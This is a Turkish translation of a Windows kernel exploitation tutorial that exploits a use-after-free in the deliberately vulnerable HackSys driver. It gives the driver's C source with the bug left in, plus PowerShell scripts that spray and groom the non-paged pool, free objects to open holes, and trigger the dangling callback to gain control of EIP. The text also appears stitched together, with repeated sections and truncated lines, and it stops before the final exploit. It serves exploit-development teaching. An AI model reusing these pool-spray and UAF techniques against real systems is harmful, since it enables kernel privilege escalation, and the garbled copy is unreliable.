- 7 Tem 2013
- 8,192
- 653
Bölüm 15: Kernel Exploitation -> UAF
Merhaba. Windows exploit geliştirme eğitim serisinin 15. bölümüne tekrar hoş geldiniz. Bugün pwning @HacksysTeam'in aşırı savunmasız sürücüsü hakkında başka bir gönderimiz var. Bu yazıda, "Karmaşık" vuln sınıflarının ilki olacak olan, Ücretsiz Sonra Kullan güvenlik açığından yararlanacağız! Okuyucuların, çekirdek havuzu belleği ve rezerv nesneleri hakkında kapsamlı bir açıklama sağladıkları için aşağıda listelenen kaynakları gözden geçirmelerini tavsiye ederim. Hata ayıklama ortamını kurma hakkında daha fazla ayrıntı için bölüm 10'a bakın.
Kaynaklar:
http://magazine.hitb.org/issues/HITB-Ezine-Issue-003.pdf
http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf
https://github.com/FuzzySecurity/HackSysTeam-PSKernelPwn
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
Meydan okumayı yeniden değerlendirin
Bu gönderinin keşif kısmı, UAF güvenlik açığıyla ilgili bir dizi sürücü işlevi olduğundan biraz farklıdır. Uygun olan ayrıntıları sağlamak için sırayla her birine bakacağız.
AllocateUaFObject
İşlev, sayfalanmamış bir havuz yığınını ayırır, bunu A'larla doldurur, bir geri çağrı işaretçisinin başına ve boş bir sonlandırıcı ekler. IDA'da hemen hemen aynı hikaye, aşağıdaki ekran görüntüsü referans olarak kullanılabilir. Nesne boyutunun 0x58 bayt ve havuz etiketinin "Hack" (küçük endian) olduğuna dikkat edin.
Fonksiyonu çağırmak için aşağıdaki PowerShell POC'yi kullanabiliriz.
FreeUaFObject
Oldukça basit, bu, etiket değerini referans alarak havuz yığınını serbest bırakır. Bu, "g_UseAfterFreeObject" öğesinin nesne serbest bırakıldıktan sonra null olarak ayarlanmaması ve dolayısıyla eski bir nesne işaretçisini elinde tutması nedeniyle güvenlik açığını içeren işlevdir. Bunu aşağıdaki POC ile hızlıca deneyelim.
Havuz yığın adresinin yukarıda ayırdığımızla aynı olduğuna dikkat edin.
UseUaFObject
Bu işlev "g_UseAfterFreeObject" değerini okur ve nesne geri çağrısını yürütür. Bu işlevi aşağıdaki POC ile çağırırsak, esasen geçici belleği çağırırız çünkü sistem, uygun gördüğü herhangi bir nedenle önceden serbest bırakılmış havuz yığınını yeniden amaçlamakta özgürdür.
AllocateFakeObject
Son olarak ve biraz yapmacık bir şekilde, disk belleği olmayan havuza sahte bir nesne tahsis etmemize izin veren bir sürücü işlevimiz var. Bu işlev, orijinal UAF nesnesiyle aynı olan nesneleri tahsis etmemize izin verdiği için son derece kullanışlıdır.
Bu işlevi çağıracak POC aşağıda gösterilmiştir. Dikkat edin, burada bir tampon oluşturmalı ve bir giriş uzunluğu sağlamalıyız.
Her şeyi yap!
Oyun planı
Tamam, temel ilke gayet açık. (1) UAF nesnesini tahsis ediyoruz, (2) UAF nesnesini serbest bırakıyoruz, (3) havuz yığınını sahte nesnemizle değiştiriyoruz, (4) eski UAF işaretçisini çağırıyoruz ve geriçağırım işlevi ile kodu çalıştırıyoruz. bizim sahte nesnemiz. Güzel ve basit!
Burada karşılaşabileceğimiz tek sorun bellek hizalama ve havuz yığın birleştirme, yine Tarjei'nin makalesini okumanızı tavsiye ederim. Esasen, UAF nesnesini serbest bırakırsak ve bu nesnenin diğer serbest havuz parçalarına bitişik olması durumunda ayırıcı, performans nedenleriyle bu parçaları birleştirecektir. Eğer bu olursa, UAF nesnesini kendi sahte nesnemizle değiştirmemiz pek olası olmayacaktır. Bundan kaçınmak için sayfalanmamış havuzu tahmin edilebilir bir duruma getirmemiz ve sürücüyü UAF nesnesini daha sonra güvenilir bir şekilde üzerine yazabileceğimiz bir konuma tahsis etmeye zorlamamız gerekir!
Sayfasız Havuzu Derandomize Edin
Buradaki ilk hedefimiz, disk belleği olmayan çekirdek havuzunun "başlangıcındaki" tüm boş alanları olabildiğince iyi doldurmaktır. Bunu yapmak için, UAF nesnemize yakın boyutta bir ton nesne oluşturacağız. IoCompletionReserve nesneleri, disk belleği olmayan havuza tahsis edildikleri ve 0x60 boyutuna sahip oldukları için bunun için mükemmel bir adaydır!
Öncelikle, havuzu püskürtmeden önce IoCompletionReserve nesne türüne bir göz atalım (nesne türleri => "! Object \ ObjectTypes ile listelenebilir.
IoCo nesneleri oluşturmak için NtAllocateReserveObject işlevini kullanabiliriz. Bu işlev oluşturulan nesneye bir tutamaç döndürür ve tutamacı bırakmadığımız sürece nesne havuzda ayrılmış olarak kalacaktır. Aşağıdaki POC'de, bu nesneleri iki yerde püskürtüyorum, (1) parçalanmış havuz alanını doldurmak için x10000 nesne ve umarız ardışık olması gereken (2) x5000.
Hata ayıklama amacıyla komut dosyası, son 10 tanıtıcıyı standart çıktıya döker ve ardından otomatik olarak WinDBG'de bir kesme noktası başlatır.
Bunun gibi bir şey görmeli ve WinDBG'de bir kesme noktasına ulaşmalısınız.
Tamamlama Yedeği türüne bir kez daha bakarsak, aslında 15000 nesne ayırdığımızı görebiliriz!
https://www.fuzzysecurity.com/tutorials/expDev/images/KernelUAF_7.png[IMG]
Standart çıkışa attığımız tutamaçlardan birini inceleyelim.
[IMG]https://www.fuzzysecurity.com/tutorials/expDev/images/KernelUAF_8.png[IMG]
Beklendiği gibi, bu bir IoCompletionReserve nesnesidir. Ayrıca, bunun spreyimizin son tutamaçlarından biri olduğu düşünüldüğünde, sayfalanmamış havuzda ardışık tahsislere sahip olmamız gerekir.
[IMG]https://www.fuzzysecurity.com/tutorials/expDev/images/KernelUAF_9.png
Woot, nesnemizin boyutunun 0x60 (96) bayt ve bazı sabit ardışık tahsisler olduğunu görebiliriz! Son bir adım olarak, disk belleğine alınmamış havuzda delikler oluşturmak için her ikinci IoCompletionReserve nesnesini ikinci tahsisimizden (toplamda 2500) kurtarmak için POC'umuza bir rutin ekleyeceğiz!
Bu 2500 boş 0x60 bayt havuz yığınları artık tahmin edilebilir bir konumdadır ve her biri, tuhaf boyutlarda birleşmelerini önleyen iki ayrılmış parça ile çevrilidir!
EIP Üzerinde Kontrol Elde Edin
Oyun planımıza göre işleri bir araya getirme zamanı.
UseUaFObject işlevine geri arama işaretçisinin çağrıldığı ve son POC'umuzu çalıştırdığı bir kesme noktası koyalım.
Oyun bitti
POC'umuzu silahlandırmak için tek yapmamız gereken geri arama işaretçisini kabuk kodumuza bir işaretçi ile değiştirmektir. Daha fazla ayrıntı için lütfen aşağıdaki tüm exploite bakın.
Source: https://www.fuzzysecurity.com/tutorials/expDev/19.html
Translator: @expensivepoor
Merhaba. Windows exploit geliştirme eğitim serisinin 15. bölümüne tekrar hoş geldiniz. Bugün pwning @HacksysTeam'in aşırı savunmasız sürücüsü hakkında başka bir gönderimiz var. Bu yazıda, "Karmaşık" vuln sınıflarının ilki olacak olan, Ücretsiz Sonra Kullan güvenlik açığından yararlanacağız! Okuyucuların, çekirdek havuzu belleği ve rezerv nesneleri hakkında kapsamlı bir açıklama sağladıkları için aşağıda listelenen kaynakları gözden geçirmelerini tavsiye ederim. Hata ayıklama ortamını kurma hakkında daha fazla ayrıntı için bölüm 10'a bakın.
Kaynaklar:
http://magazine.hitb.org/issues/HITB-Ezine-Issue-003.pdf
http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf
https://github.com/FuzzySecurity/HackSysTeam-PSKernelPwn
https://github.com/hacksysteam/HackSysExtremeVulnerableDriver
Meydan okumayı yeniden değerlendirin
Bu gönderinin keşif kısmı, UAF güvenlik açığıyla ilgili bir dizi sürücü işlevi olduğundan biraz farklıdır. Uygun olan ayrıntıları sağlamak için sırayla her birine bakacağız.
AllocateUaFObject
Kod:
NTSTATUS AllocateUaFObject() {
NTSTATUS Status = STATUS_SUCCESS;
PUSE_AFTER_FREE UseAfterFree = NULL;
PAGED_CODE();
__try {
DbgPrint("[+] Allocating UaF Object\n");
// Allocate Pool chunk
UseAfterFree = (PUSE_AFTER_FREE)ExAllocatePoolWithTag(NonPagedPool,
sizeof(USE_AFTER_FREE),
(ULONG)POOL_TAG);
if (!UseAfterFree) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(USE_AFTER_FREE));
DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree);
}
// Fill the buffer with ASCII 'A'
RtlFillMemory((P****)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41);
// Null terminate the char buffer
UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0';
// Set the object Callback function
UseAfterFree->Callback = &UaFObjectCallback;
// Assign the address of UseAfterFree to a global variable
g_UseAfterFreeObject = UseAfterFree;
DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree);
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
Fonksiyonu çağırmak için aşağıdaki PowerShell POC'yi kullanabiliriz.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
FreeUaFObject
Kod:
NTSTATUS FreeUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Freeing UaF Object\n");
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObject);
#ifdef SECURE
// Secure Note: This is secure because the developer is setting
// 'g_UseAfterFreeObject' to NULL once the Pool chunk is being freed
ExFreePoolWithTag((P****)g_UseAfterFreeObject, (ULONG)POOL_TAG);
g_UseAfterFreeObject = NULL;
#else
// Vulnerability Note: This is a vanilla Use After Free vulnerability
// because the developer is not setting 'g_UseAfterFreeObject' to NULL.
// Hence, g_UseAfterFreeObject still holds the reference to stale pointer
// (dangling pointer)
ExFreePoolWithTag((P****)g_UseAfterFreeObject, (ULONG)POOL_TAG);
#endif
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-n
Havuz yığın adresinin yukarıda ayırdığımızla aynı olduğuna dikkat edin.
UseUaFObject
Kod:
NTSTATUS UseUaFObject() {
NTSTATUS Status = STATUS_UNSUCCESSFUL;
PAGED_CODE();
__try {
if (g_UseAfterFreeObject) {
DbgPrint("[+] Using UaF Object\n");
DbgPrint("[+] g_UseAfterFreeObject: 0x%p\n", g_UseAfterFreeObject);
DbgPrint("[+] g_UseAfterFreeObject->Callback: 0x%p\n", g_UseAfterFreeObject->Callback);
DbgPrint("[+] Calling Callback\n");
if (g_UseAfterFreeObject->Callback) {
g_UseAfterFreeObject->Callback();
}
Status = STATUS_SUCCESS;
}
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
AllocateFakeObject
Son olarak ve biraz yapmacık bir şekilde, disk belleği olmayan havuza sahte bir nesne tahsis etmemize izin veren bir sürücü işlevimiz var. Bu işlev, orijinal UAF nesnesiyle aynı olan nesneleri tahsis etmemize izin verdiği için son derece kullanışlıdır.
Kod:
NTSTATUS AllocateFakeObject(IN PFAKE_OBJECT UserFakeObject) {
NTSTATUS Status = STATUS_SUCCESS;
PFAKE_OBJECT KernelFakeObject = NULL;
PAGED_CODE();
__try {
DbgPrint("[+] Creating Fake Object\n");
// Allocate Pool chunk
KernelFakeObject = (PFAKE_OBJECT)ExAllocatePoolWithTag(NonPagedPool,
sizeof(FAKE_OBJECT),
(ULONG)POOL_TAG);
if (!KernelFakeObject) {
// Unable to allocate Pool chunk
DbgPrint("[-] Unable to allocate Pool chunk\n");
Status = STATUS_NO_MEMORY;
return Status;
}
else {
DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
DbgPrint("[+] Pool Size: 0x%X\n", sizeof(FAKE_OBJECT));
DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject);
}
// Verify if the buffer resides in user mode
ProbeForRead((P****)UserFakeObject, sizeof(FAKE_OBJECT), (ULONG)__alignof(FAKE_OBJECT));
// Copy the Fake structure to Pool chunk
RtlCopyMemory((P****)KernelFakeObject, (P****)UserFakeObject, sizeof(FAKE_OBJECT));
// Null terminate the char buffer
KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0';
DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject);
}
__except (EXCEPTION_EXECUTE_HANDLER) {
Status = GetExceptionCode();
DbgPrint("[-] Exception Code: 0x%X\n", Status);
}
return Status;
}
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len 0x60
[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
Her şeyi yap!
Oyun planı
Tamam, temel ilke gayet açık. (1) UAF nesnesini tahsis ediyoruz, (2) UAF nesnesini serbest bırakıyoruz, (3) havuz yığınını sahte nesnemizle değiştiriyoruz, (4) eski UAF işaretçisini çağırıyoruz ve geriçağırım işlevi ile kodu çalıştırıyoruz. bizim sahte nesnemiz. Güzel ve basit!
Burada karşılaşabileceğimiz tek sorun bellek hizalama ve havuz yığın birleştirme, yine Tarjei'nin makalesini okumanızı tavsiye ederim. Esasen, UAF nesnesini serbest bırakırsak ve bu nesnenin diğer serbest havuz parçalarına bitişik olması durumunda ayırıcı, performans nedenleriyle bu parçaları birleştirecektir. Eğer bu olursa, UAF nesnesini kendi sahte nesnemizle değiştirmemiz pek olası olmayacaktır. Bundan kaçınmak için sayfalanmamış havuzu tahmin edilebilir bir duruma getirmemiz ve sürücüyü UAF nesnesini daha sonra güvenilir bir şekilde üzerine yazabileceğimiz bir konuma tahsis etmeye zorlamamız gerekir!
Sayfasız Havuzu Derandomize Edin
Buradaki ilk hedefimiz, disk belleği olmayan çekirdek havuzunun "başlangıcındaki" tüm boş alanları olabildiğince iyi doldurmaktır. Bunu yapmak için, UAF nesnemize yakın boyutta bir ton nesne oluşturacağız. IoCompletionReserve nesneleri, disk belleği olmayan havuza tahsis edildikleri ve 0x60 boyutuna sahip oldukları için bunun için mükemmel bir adaydır!
Öncelikle, havuzu püskürtmeden önce IoCompletionReserve nesne türüne bir göz atalım (nesne türleri => "! Object \ ObjectTypes ile listelenebilir.
IoCo nesneleri oluşturmak için NtAllocateReserveObject işlevini kullanabiliriz. Bu işlev oluşturulan nesneye bir tutamaç döndürür ve tutamacı bırakmadığımız sürece nesne havuzda ayrılmış olarak kalacaktır. Aşağıdaki POC'de, bu nesneleri iki yerde püskürtüyorum, (1) parçalanmış havuz alanını doldurmak için x10000 nesne ve umarız ardışık olması gereken (2) x5000.
Hata ayıklama amacıyla komut dosyası, son 10 tanıtıcıyı standart çıktıya döker ve ardından otomatik olarak WinDBG'de bir kesme noktası başlatır.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Byte CloseHandle(
IntPtr hObject);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtAllocateReserveObject(
ref IntPtr hObject,
UInt32 ObjectAttributes,
UInt32 ObjectType);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern **** DebugBreak();
}
"@
function IoCo-PoolSpray {
echo "[+] Derandomizing NonPagedPool.."
$Spray = @()
for ($i=0;$i -lt 10000;$i++) {
$hObject = [IntPtr]::Zero
$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
if ($CallResult -eq 0) {
$Spray += $hObject
}
}
$Script:IoCo_hArray1 += $Spray
echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
echo "[+] Allocating sequential objects.."
$Spray = @()
for ($i=0;$i -lt 5000;$i++) {
$hObject = [IntPtr]::Zero
$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
if ($CallResult -eq 0) {
$Spray += $hObject
}
}
$Script:IoCo_hArray2 += $Spray
echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
}
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
"{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()
Tamamlama Yedeği türüne bir kez daha bakarsak, aslında 15000 nesne ayırdığımızı görebiliriz!
https://www.fuzzysecurity.com/tutorials/expDev/images/KernelUAF_7.png[IMG]
Standart çıkışa attığımız tutamaçlardan birini inceleyelim.
[IMG]https://www.fuzzysecurity.com/tutorials/expDev/images/KernelUAF_8.png[IMG]
Beklendiği gibi, bu bir IoCompletionReserve nesnesidir. Ayrıca, bunun spreyimizin son tutamaçlarından biri olduğu düşünüldüğünde, sayfalanmamış havuzda ardışık tahsislere sahip olmamız gerekir.
[IMG]https://www.fuzzysecurity.com/tutorials/expDev/images/KernelUAF_9.png
Woot, nesnemizin boyutunun 0x60 (96) bayt ve bazı sabit ardışık tahsisler olduğunu görebiliriz! Son bir adım olarak, disk belleğine alınmamış havuzda delikler oluşturmak için her ikinci IoCompletionReserve nesnesini ikinci tahsisimizden (toplamda 2500) kurtarmak için POC'umuza bir rutin ekleyeceğiz!
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Byte CloseHandle(
IntPtr hObject);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtAllocateReserveObject(
ref IntPtr hObject,
UInt32 ObjectAttributes,
UInt32 ObjectType);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern **** DebugBreak();
}
"@
function IoCo-PoolSpray {
echo "[+] Derandomizing NonPagedPool.."
$Spray = @()
for ($i=0;$i -lt 10000;$i++) {
$hObject = [IntPtr]::Zero
$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
if ($CallResult -eq 0) {
$Spray += $hObject
}
}
$Script:IoCo_hArray1 += $Spray
echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
echo "[+] Allocating sequential objects.."
$Spray = @()
for ($i=0;$i -lt 5000;$i++) {
$hObject = [IntPtr]::Zero
$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
if ($CallResult -eq 0) {
$Spray += $hObject
}
}
$Script:IoCo_hArray2 += $Spray
echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
echo "[+] Creating non-paged pool holes.."
for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
$CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
if ($CallResult -ne 0) {
$FreeCount += 1
}
}
echo "[+] Free'd $FreeCount IoCo objects!"
}
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
echo "`n[>] Last 10 object handles:"
for ($i=1;$i -lt 11; $i++) {
"{0:X}" -f $($($IoCo_hArray2[-$i]).ToInt64())
}
echo "`n[>] Triggering WinDBG breakpoint.."
[EVD]::DebugBreak()
Bu 2500 boş 0x60 bayt havuz yığınları artık tahmin edilebilir bir konumdadır ve her biri, tuhaf boyutlarda birleşmelerini önleyen iki ayrılmış parça ile çevrilidir!
EIP Üzerinde Kontrol Elde Edin
Oyun planımıza göre işleri bir araya getirme zamanı.
Kod:
Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Security.Principal;
public static class EVD
{
[DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
public static extern IntPtr CreateFile(
String lpFileName,
UInt32 dwDesiredAccess,
UInt32 dwShareMode,
IntPtr lpSecurityAttributes,
UInt32 dwCreationDisposition,
UInt32 dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("Kernel32.dll", SetLastError = true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
int IoControlCode,
byte[] InBuffer,
int nInBufferSize,
byte[] OutBuffer,
int nOutBufferSize,
ref int pBytesReturned,
IntPtr Overlapped);
[DllImport("kernel32.dll", SetLastError = true)]
public static extern Byte CloseHandle(
IntPtr hObject);
[DllImport("ntdll.dll", SetLastError = true)]
public static extern int NtAllocateReserveObject(
ref IntPtr hObject,
UInt32 ObjectAttributes,
UInt32 ObjectType);
[DllImport("kernel32.dll")]
public static extern uint GetLastError();
}
"@
function IoCo-PoolSpray {
echo "[+] Derandomizing NonPagedPool.."
$Spray = @()
for ($i=0;$i -lt 10000;$i++) {
$hObject = [IntPtr]::Zero
$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
if ($CallResult -eq 0) {
$Spray += $hObject
}
}
$Script:IoCo_hArray1 += $Spray
echo "[+] $($IoCo_hArray1.Length) IoCo objects created!"
echo "[+] Allocating sequential objects.."
$Spray = @()
for ($i=0;$i -lt 5000;$i++) {
$hObject = [IntPtr]::Zero
$CallResult = [EVD]::NtAllocateReserveObject([ref]$hObject, 0, 1)
if ($CallResult -eq 0) {
$Spray += $hObject
}
}
$Script:IoCo_hArray2 += $Spray
echo "[+] $($IoCo_hArray2.Length) IoCo objects created!"
echo "[+] Creating non-paged pool holes.."
for ($i=0;$i -lt $($IoCo_hArray2.Length);$i+=2) {
$CallResult = [EVD]::CloseHandle($IoCo_hArray2[$i])
if ($CallResult -ne 0) {
$FreeCount += 1
}
}
echo "[+] Free'd $FreeCount IoCo objects!"
}
$hDevice = [EVD]::CreateFile("\\.\HacksysExtremeVulnerableDriver", [System.IO.FileAccess]::ReadWrite, [System.IO.FileShare]::ReadWrite, [System.IntPtr]::Zero, 0x3, 0x40000080, [System.IntPtr]::Zero)
if ($hDevice -eq -1) {
echo "`n[!] Unable to get driver handle..`n"
Return
} else {
echo "`n[>] Driver information.."
echo "[+] lpFileName: \\.\HacksysExtremeVulnerableDriver"
echo "[+] Handle: $hDevice"
}
echo "`n[>] Spraying non-paged kernel pool!"
IoCo-PoolSpray
echo "`n[>] Staging vulnerability.."
# Allocate UAF Object
#---
# 0x222013 - HACKSYS_EVD_IOCTL_ALLOCATE_UAF_OBJECT
echo "[+] Allocating UAF object"
[EVD]::DeviceIoControl($hDevice, 0x222013, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
# Free UAF Object
#---
# 0x22201B - HACKSYS_EVD_IOCTL_FREE_UAF_OBJECT
echo "[+] Freeing UAF object"
[EVD]::DeviceIoControl($hDevice, 0x22201B, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
# Fake Object al********
#---
# 0x22201F - HACKSYS_EVD_IOCTL_ALLOCATE_FAKE_OBJECT
echo "[+] Spraying 5000 fake objects"
$Buffer = [Byte[]](0x41)*0x4 + [Byte[]](0x42)*0x5B + 0x00 # len = 0x60
for ($i=0;$i -lt 5000;$i++){
[EVD]::DeviceIoControl($hDevice, 0x22201F, $Buffer, $Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
}
# Trigger stale callback
# 0x222017 - HACKSYS_EVD_IOCTL_USE_UAF_OBJECT
echo "`n[>] Triggering UAF vulnerability!`n"
[EVD]::DeviceIoControl($hDevice, 0x222017, $No_Buffer, $No_Buffer.Length, $null, 0, [ref]0, [System.IntPtr]::Zero) |Out-null
Oyun bitti
POC'umuzu silahlandırmak için tek yapmamız gereken geri arama işaretçisini kabuk kodumuza bir işaretçi ile değiştirmektir. Daha fazla ayrıntı için lütfen aşağıdaki tüm exploite bakın.
Kod:
